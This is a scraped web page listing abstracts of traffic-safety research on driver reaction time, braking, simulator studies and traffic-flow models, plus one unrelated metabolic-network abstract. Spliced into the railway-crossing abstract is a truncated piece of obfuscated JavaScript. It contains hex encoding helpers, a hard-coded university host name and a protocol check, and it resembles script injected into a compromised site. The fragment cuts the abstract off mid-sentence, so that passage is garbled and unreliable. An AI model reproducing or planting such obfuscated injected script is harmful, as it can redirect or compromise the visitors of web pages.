Driver Reaction Research Articles

Experimental road signs in a simulated environment research programme – experiment procedures and assumptions

The application of experimental signs on public roads may cause some risks due to driver misunderstanding or misinterpretation, especially when seen for the first time. To minimize this risk, driver reaction and sign understanding can be tested in a safe and relatively cheap simulation-based environment. The consortium running the project “Experimental road marking and its effect on road user behaviour” suggested a similar methodology. The project included a simulation-based research program. The consortium proposed a set of experimental signs which have a strong potential for improving road safety and traffic conditions. The paper outlines the simulation-based research programme involving experimental signs and a proposed experiment procedure. Simulation scenarios and procedures were selected to achieve the required message and goals of implementation. In addition, an analysis is proposed of the factors and indicators of each sign and its effects.

Creating recommendations in an energy-efficient and safety relevant driving system while considering driver stress and driver reaction

Creating recommendations in an energy-efficient and safety relevant driving system while considering driver stress and driver reaction

Creating recommendations in an energy-efficient and safety relevant driving system while considering driver stress and driver reaction

Saving energy and road safety became important in the last decades, hence several driving assistant systems were developed that help to improve the driving behaviour. However, these driving systems cover the area of either energy-efficiency or safety. Furthermore, they do not consider the reaction of the driver to a shown recommendation and the driver stress level. In this paper, the decision process of showing a recommendation to the driver in an energy-efficient and safety relevant driving system is presented. The decision process considers the driver reaction to a shown recommendation and the driver stress in order to increase the user acceptance and the road safety. The results of the evaluation showed that the driving system was able to show recommendations when needed, while suppressing recommendations when the driver ignored a recommendation repeatedly or when the driver was in stress.

Driver Reaction towards Unintended Acceleration in Automated and Silent Vehicle

Driver Reaction towards Unintended Acceleration in Automated and Silent Vehicle

The Influence of Human Factor on Congestion Formation on Urban Roads

Road urban transport and traffic engineering in general are long-term discussed topics. Traffic problems are solved from many aspects, such as transport infrastructure, transport organization, high share of car traffic, a negative impact on air quality, emissions etc. Finally, the problem of traffic congestion on urban roads is also highly topical. With increasing economic development of individual states the numbers of cars are increasing as well − the traffic volumes are increasing at the expense of road capacity. The paper deals with the formation of congestion particularly on urban roads, where the driver reaction time influences the size of congestion as well. In the first part of the paper the issues of traffic flow and congestion formation are theoretically discussed. The second part of the paper outlines in practice an influence of human factor (the driver's Perception − Response Time) on the congestion formation.

RESEARCH OF MOTORCYCLE BRAKING PARAMETERS / MOTOCIKLO STABDYMO EFEKTYVUMO TYRIMAS

From a technical point of view, in dangerous or emergency situation is very important motorcycle driver reaction and vehicle braking time. Motor-cycle deceleration parameters depend not only on the motorcycle brake system, but also on the driving experience. A significant influence on decel-eration the motorcycle has aerodynamic parameters, pavement type and condition, as well as the technical condition of the motocycle, shock absorb-ers, tire type and their technical condition. This article provides an analysis of the motorcycle longitudinal deceleration, braking modes of the mo-torcycle on a dry asphalt road surface. Motorcycle stopping – deceleration – acceleration efficiency issue, stopping in different modes. First ana-lyzed the dynamics of a motorcycle deceleration braking only the front wheel, then braked front and rear wheels and complex – then braked the front and rear wheels at the same time. The goal of experimental study is to determine the influence of braking modes intense fir motorcycle brak-ing deceleration when braking on dry road pavement, at three different braking modes, and set the braking path of change. Motorcycle decelera-tion in the longitudinal direction is an important parameter for analysis traffic accidents, for accident reconstruction process and the examination of motorcyclists technical possibility to avoid an accident. Pavojingoje ar avarinėje situacijoje techniniu požiūriu labai svarbus yra optimalus transporto priemonės stabdymas laiku. Motociklo lėtėjimo parametrai priklauso ne tik nuo motociklo stabdžių sistemos, bet ir nuo vairuotojo patirties. Didelę įtaką motociklo lėtėjimui turi aerodinaminiai parametrai, kelio dangos tipas ir būklė, taip pat motociklo techninė būklė, amortizatorių, padangų tipas ir jų techninė būklė. Šiame straipsnyje pateikiama motociklo išilginio lėtėjimo analizė, stabdant motociklą ant sausos asfalto kelio dangos. Motociklo stabdymo – lėtėjimo – pagreičio efektyvumas nagrinėjamas, stabdant skirtingais režimais. Pirmiausia analizuojama motociklo lėtėjimo dinamika stabdant tik priekinį ratą, paskui priekinį ir galinį ratus bei stabdant kompleksiškai – priekinį ir galinį ratus. Eksperimentinio tyrimo tikslas – nustatyti, kokią įtaką turi stabdymo režimai intensyviai stabdomo motociklo lėtėjimui stabdant ant sausos kelio dangos, trimis skirtingais stabdymo režimais ir nustatyti stabdymo kelio pokytį. Motociklo lėtėjimo pagreitis išilgine kryptimi yra svarbus eismo įvykių analizei parametras atkuriant eismo įvykio eigą ir nagrinėjant motociklo vairuotojo techninę galimybę išvengti eismo įvykio.

Driver brake vs. steer response to sudden forward collision scenario in manual and automated driving modes

In autonomous vehicle operation, situations may arise when the driver is required to re-engage in manual control of the vehicle. Whether the control handoff from vehicle to human is done in a structured or unstructured manner, the process may be affected by the driver’s state, i.e. distracted or not. The study reported here was designed to measure a non-distracted driver’s response to a sudden forward collision (FC) event, in which the driver would assume manual control of the autonomous vehicle. Three driving scenarios were investigated: autonomous vehicle driven with full collision avoidance support, autonomous vehicle driven without collision avoidance support, and vehicle driven in manual mode.Forty-eight volunteers participated in a simulator study conducted in VIRTTEX. It was found that, at handoff, (1) drivers in manual mode tended to use evasive steering, rather than braking, compared to drivers in both the autonomous modes, (2) between subjects variations in speed were higher for the automation with collision support condition than for the other two scenarios, (3) for both autonomous driving scenarios, drivers reaction times were longer than for manual driving. In some cases the driver response was so late and the distance remaining so reduced that crash avoidance might be unfeasible. At a minimum, results of this study suggest that drivers may benefit from appropriate driver assistance technologies when a crash imminent situation is suddenly encountered.

Stress induction techniques in a driving simulator and reactions from newly licensed drivers

Challenging or unexpected traffic situations, which can induce frustration and other negative emotional states, can lead to unsafe, risky and aggressive driving behaviors. Although prior research has used a variety of techniques to induce emotions in drivers, their immediate reactions were not collected with driving metrics. Since teens, the age group with the highest crash risk, have limited emotion regulation skills and lack driving experience, they demonstrate maladaptive reactions to higher demand driving environments. Therefore, young drivers are important in studying the impact of emotions on driving. Since on-road studies pose too high a safety risk, driving simulation provides a safe environment in which to objectively expose young drivers to challenging traffic situations and to examine their immediate reactions and behaviors. This study aimed to develop and validate a new simulator protocol to induce negative emotional states in young drivers in order to examine the relationship between emotional states and driver reactions. In this study, dynamic stressful traffic events were selected for programming based on a systematic ranking of stress levels and a literature review, and young driver reactions were examined in the presence and absence of added time pressure. Self-reported data were collected from 33 young driver participants who reported their emotional states at four time points during the protocol. These data were then matched with vehicle control behaviors based on measures derived from the simulator. Results demonstrated the validity of the simulator protocol’s stress induction manipulations. The simulated traffic situations resulted in emotional fluctuations over time, with a positive correlation between the magnitude of negative emotions and the number of unsafe behaviors. These newly licensed drivers did not cope well with the presence of slow-moving or braking cars in front. In conclusion, the traffic events in this new protocol were validated as stress-inducing by self-reported emotions and by demonstrated unsafe reactions and driving behaviors. Such a validated protocol can be used to develop and evaluate evidence-based interventions to help young novice drivers manage their emotions and to cope with stressful traffic situations and time pressures.

Predicting crash-relevant violations at stop sign–controlled intersections for the development of an intersection driver assistance system

ABSTRACTObjective: Intersection crashes resulted in over 5,000 fatalities in the United States in 2014. Intersection Advanced Driver Assistance Systems (I-ADAS) are active safety systems that seek to help drivers safely traverse intersections. I-ADAS uses onboard sensors to detect oncoming vehicles and, in the event of an imminent crash, can either alert the driver or take autonomous evasive action. The objective of this study was to develop and evaluate a predictive model for detecting whether a stop sign violation was imminent.Methods: Passenger vehicle intersection approaches were extracted from a data set of typical driver behavior (100-Car Naturalistic Driving Study) and violations (event data recorders downloaded from real-world crashes) and were assigned weighting factors based on real-world frequency. A k-fold cross-validation procedure was then used to develop and evaluate 3 hypothetical stop sign warning algorithms (i.e., early, intermediate, and delayed) for detecting an impending violation during the intersection approach. Violation detection models were developed using logistic regression models that evaluate likelihood of a violation at various locations along the intersection approach. Two potential indicators of driver intent to stop—that is, required deceleration parameter (RDP) and brake application—were used to develop the predictive models. The earliest violation detection opportunity was then evaluated for each detection algorithm in order to (1) evaluate the violation detection accuracy and (2) compare braking demand versus maximum braking capabilities.Results: A total of 38 violating and 658 nonviolating approaches were used in the analysis. All 3 algorithms were able to detect a violation at some point during the intersection approach. The early detection algorithm, as designed, was able to detect violations earlier than all other algorithms during the intersection approach but gave false alarms for 22.3% of approaches. In contrast, the delayed detection algorithm sacrificed some time for detecting violations but was able to substantially reduce false alarms to only 3.3% of all nonviolating approaches. Given good surface conditions (maximum braking capabilities = 0.8 g) and maximum effort, most drivers (55.3–71.1%) would be able to stop the vehicle regardless of the detection algorithm. However, given poor surface conditions (maximum braking capabilities = 0.4 g), few drivers (10.5–26.3%) would be able to stop the vehicle. Automatic emergency braking (AEB) would allow for early braking prior to driver reaction. If equipped with an AEB system, the results suggest that, even for the poor surface conditions scenario, over one half (55.3–65.8%) of the vehicles could have been stopped.Conclusions: This study demonstrates the potential of I-ADAS to incorporate a stop sign violation detection algorithm. Repeating the analysis on a larger, more extensive data set will allow for the development of a more comprehensive algorithm to further validate the findings.

Single wheel hub motor failures and their impact on vehicle and driver behaviour

ABSTRACTThis research work studies the impact of single wheel hub motor failures on the dynamic behaviour of electric vehicles and the corresponding driver reactions. An experimental study in a moving-base driving simulator is conducted to analyse the influence of single wheel hub motor failures for motorway speeds. Driver reaction times are derived from the measured data and discussed in their experimental context. The failure is rated objectively on the dynamic behaviour of the vehicle and compared to the subjective evaluation. Findings indicate that critical traffic situations impairing traffic safety can occur for motorway speeds. Clear counteractions by the drivers had to be taken.

Modeling the effect of microscopic driving behaviors on Kerner’s time-delayed traffic breakdown at traffic signal using cellular automata

Abstract The signalized traffic is considerably complex due to the fact that various driving behaviors have emerged to respond to traffic signals. However, the existing cellular automaton models take the signal–vehicle interactions into account inadequately, resulting in a potential risk that vehicular traffic flow dynamics may not be completely explored. To remedy this defect, this paper proposes a more realistic cellular automaton model by incorporating a number of the driving behaviors typically observed when the vehicles are approaching a traffic light. In particular, the anticipatory behavior proposed in this paper is realized with a perception factor designed by considering the vehicle speed implicitly and the gap to its preceding vehicle explicitly. Numerical simulations have been performed based on a signal controlled road which is partitioned into three sections according to the different reactions of drivers. The effects of microscopic driving behaviors on Kerner’s time-delayed traffic breakdown at signal (Kerner 2011, 2013) have been investigated with the assistance of spatiotemporal pattern and trajectory analysis. Furthermore, the contributions of the driving behaviors on the traffic breakdown have been statistically examined. Finally, with the activation of the anticipatory behavior, the influences of the other driving behaviors on the formation of platoon have been investigated in terms of the number of platoons, the averaged platoon size, and the averaged flow rate.

Control of fluxes in metabolic networks.

Understanding the control of large-scale metabolic networks is central to biology and medicine. However, existing approaches either require specifying a cellular objective or can only be used for small networks. We introduce new coupling types describing the relations between reaction activities, and develop an efficient computational framework, which does not require any cellular objective for systematic studies of large-scale metabolism. We identify the driver reactions facilitating control of 23 metabolic networks from all kingdoms of life. We find that unicellular organisms require a smaller degree of control than multicellular organisms. Driver reactions are under complex cellular regulation in Escherichia coli, indicating their preeminent role in facilitating cellular control. In human cancer cells, driver reactions play pivotal roles in malignancy and represent potential therapeutic targets. The developed framework helps us gain insights into regulatory principles of diseases and facilitates design of engineering strategies at the interface of gene regulation, signaling, and metabolism.

Haptic Feedback to Assist Bus Drivers for Pedestrian Safety at Low Speed

Buses and coaches are massive Passenger Transportation Systems (PTS), because they represent more than half of land PTS in the European Union. Despite that, bus accident figures are lower than other means of transport, but its size and weight increase the severity of accidents in which buses are involved, even at low speed. In urban scenarios, turnings and maneuvers around bus stops are the main causes of accidents, mostly due to low visibility, blind spots, or driver's distractions. Therefore, there is an increasing interest in developing driving assistance systems to avoid these situations, among others. However, even though there are some solutions on the market, they are not meant to work in urban areas at low speed and with the sole purpose of preventing collisions with pedestrians. In this sense, the paper proposes an active safety system for buses in maneuvers at low speed. The safety system consists of haptic feedback devices together with collision avoidance and risk evaluation systems based on detected people nearby the bus. The performance of the active safety system has been validated in a simulated urban scenario. Our results show that driver's reaction time is reduced and time to collision increased due to the proposed low-speed active safety system. In particular, it is shown that there is a reduction in the number of high risk cases and collisions, which implies a considerable improvement in safety terms. In addition to this, a brief discussion about current regulations for innovative safety systems on real vehicles is carried out.

Method to Optimise the Position of Rumble Strips on the Hard Shoulder to Avoid Run-off-road Accidents and Unnecessary Noise Pollution

Around one third of road deaths in Europe are the result of run-off-road accidents. The major causes are considered to be fatigue, distraction and inattention. Rumble strips are one of the appropriate available measures that help prevent run-off-road accidents. When driving on the near right side of the road, it is possible to drive over the rumble strips unintentionally. Studies have shown that one percent even drive on the emergency lane or hard shoulder. With an average daily traffic of 33,000 vehicles, this causes unnecessary additional noise pollution. The study at hand describes a method that introduces a different positioning of rumble strips as a means of reducing unintentional crossing and run-off-road accidents. Based on speed and angle of exit as well as the friction between tyre and traffic lane and an assumed reaction time, the lateral distance needed could be determined. The assumption is that the driver's reaction is a sole steering movement back onto the traffic lane, where the vehicle traverses a circular path at the maximum possible speed. At a median-speed of exit of 110km/h with a median-angle of exit of 5.5° from real accidents, a lateral distance of 2.0 m would be needed on wet road surfaces. The reaction time after driving over the rumble strip was considered to be 0.5 s.

PREDICTION STATE TRAFFIC SAFETY AND RISKS AT RAILWAY CROSSINGS WITH THE INFLUENCE OF THE PROBABILITY FACTOR

Purpose. The aim of the study is to develop a method of determining the total length of the danger zone braking of the vehicle on the basis of probabilistic factors in the design of modes of traffic safety on railway crossings. Methodology. The problem solution is performed on the basis of statistical processing of data and selection of the laws of distribution of the studied factors. Were studied and evaluated the factors affecting traffic safety. It is the driver's reaction time, the vehicle speed, the adhesion coefficient of automobile tire and the road surface. Findings. On the basis of the statistical analysis were selected laws of distribution of the investigated variables and the dependence for determining the total length of the danger zone braking of the vehicle on the basis of probabilistic factors. Originality. The proposed approach to the definition of dangerous zone of inhibition on the basis of Vero atrostic factors allow us to review the standards of length of the danger zone of inhibition at level crossings taking into account the real conditions of their operation. Practical value. The stochastic characteristics of road transport shows the need for a number of measures aimed at increasing the visibility distance and the length of the calculated braking distances for practice of the design and operation of crossings. The elimination of one level crossing to prevent incidents and to minimize the risks in terms of increased transport volumes on road and rail transport, growth speed, increasing the number of cars. // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "tstt.diit.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Sensitivity analysis on new simulation-based conflict metrics

The Conflict Propensity Metric (CPM) and the Aggregate Conflict Propensity Metric (ACPM) are two simulation-based conflict metrics recently proposed as surrogate safety measures. The two metrics are derived through a stochastic process incorporating distributions of driver reaction time (RT) and vehicle maximum braking rates (MABR). This paper presents sensitivity analyses on the two metrics, by altering the parameters (i.e. mean and standard deviation) of RT distributions. Both RT mean and standard deviation affect the estimates of CPM for the three conflict types examined here (i.e. crossing, rear-end and lane change), and the impacts vary by conflict types, indicating the need of carefully evaluating and considering both RT distributions and conflict types when developing simulation-based conflict metrics. A sensitivity analysis based on field data showed that different RT distributions have an impact on ACPM and could affect the reliability of ACPM in identifying relative safety and its correlation with actual crashes. The analysis here identified the potential existence of different “realistic” RT distributions for different conflict types and the suggested values are considered reasonable or consistent with prior findings. ACPM has proved to have potential to further improve its accuracy using more suitable RT distributions. However, dedicated RT distributions for specific conflict types are lacking, especially a joint RT distribution conditional various factors, impeding the improvement of ACPM. In general, sensitivity analyses have shown the strength of the process of deriving CPM and ACPM by providing reasonable findings, as well as pointing out interesting and important future research directions, such as finding actual RT distributions for different conflict types.

A macro-model for traffic flow with consideration of driver’s reaction time and distance

Reaction delays from drivers are indispensable factors in modeling vehicle movements. In this paper, we present an extended car-following model considering the drivers reaction time and distance. A new macroscopic model based on the driver’s reaction time and distance is developed using the relationship between the microscopic and macroscopic variables. Analytical results show that the increase in reaction time and distance can potentially lead to more stable traffic flow. Furthermore, numerical results show that the proposed model can reproduce the evolution of shock, rarefaction wave, and small perturbation.

A multiclass cell transmission model for shared human and autonomous vehicle roads

Autonomous vehicles have the potential to improve link and intersection traffic behavior. Computer reaction times may admit reduced following headways and increase capacity and backwards wave speed. The degree of these improvements will depend on the proportion of autonomous vehicles in the network. To model arbitrary shared road scenarios, we develop a multiclass cell transmission model that admits variations in capacity and backwards wave speed in response to class proportions within each cell. The multiclass cell transmission model is shown to be consistent with the hydrodynamic theory. This paper then develops a car following model incorporating driver reaction time to predict capacity and backwards wave speed for multiclass scenarios. For intersection modeling, we adapt the legacy early method for intelligent traffic management (Bento et al., 2013) to general simulation-based dynamic traffic assignment models. Empirical results on a city network show that intersection controls are a major bottleneck in the model, and that the legacy early method improves over traffic signals when the autonomous vehicle proportion is sufficiently high.

Modeling vehicle–pedestrian interactions outside of crosswalks

Pedestrian and driver behaviors as well as their interactions, are essential in planning, designing and operating highway facilities. Pedestrian crossing outside of a marked or unmarked crosswalk (i.e. jaywalking), is one of those pedestrian behaviors that may highly affect safety and operations. Unlike permissible crossings at crosswalks, jaywalking events are not often anticipated by drivers, which may result in less driver reaction time and different vehicle operation dynamics. It is important to understand pedestrian crossing behavior outside of crosswalks, as well as driver yielding behavior towards them. To date, limited quantitative and behavioral research has been conducted to investigate this interaction or simulate it microscopically. This paper aims to explore both pedestrian jaywalking behavior (gap acceptance and speeds) and the corresponding driver reactions (yielding behavior) for modeling the vehicle–pedestrian interactions (VPI) outside the crosswalks in a micro-simulation environment. The study also quantifies the differences between vehicle–jaywalker and vehicle-permissible crossing. An observational study and an instrumented vehicle study were conducted on the campus of the University of Florida to collect data from pedestrian and driver perspectives, respectively.Crossing speed, yield acceptance and delay of jaywalking crossings and permissible crossings were observed in the study and these attributed can be used for replicating pedestrian operations in simulators. Moreover, behaviors of driver approaching jaywalkers versus pedestrians crossing at designated crosswalks were compared on the basis of yield rates, and vehicle speed profiles. Vehicle yield dynamics were analyzed to model the driver reactions towards jaywalkers. Lastly, it was found that the locations of jaywalking events are highly concentrated and influenced by the crossing environment, such as pedestrian and vehicular volume, bus stops presence and crossing distance.This paper establishes several quantitative relationships describing interactions between pedestrians crossing outside of crosswalks and approaching drivers, which provide the basis and assumptions for modeling such interactions in a micro-simulation environment for traffic operational analyses.

How Does the Driver's Perception Reaction Time Affect the Performances of Crash Surrogate Measures?

With the merit on representing traffic conflict through examining the crash mechanism and causality proactively, crash surrogate measures have long been proposed and applied to evaluate the traffic safety. However, the driver’s Perception-Reaction Time (PRT), an important variable in crash mechanism, has not been considered widely into surrogate measures. In this regard, it is important to know how the PRT affects the performances of surrogate indicators. To this end, three widely used surrogate measures are firstly modified by involving the PRT into their crash mechanisms. Then, in order to examine the difference caused by the PRT, a comparative study is carried out on a freeway section of the Pacific Motorway, Australia. This result suggests that the surrogate indicators’ performances in representing rear-end crash risks are improved with the incorporating of the PRT for the investigated section.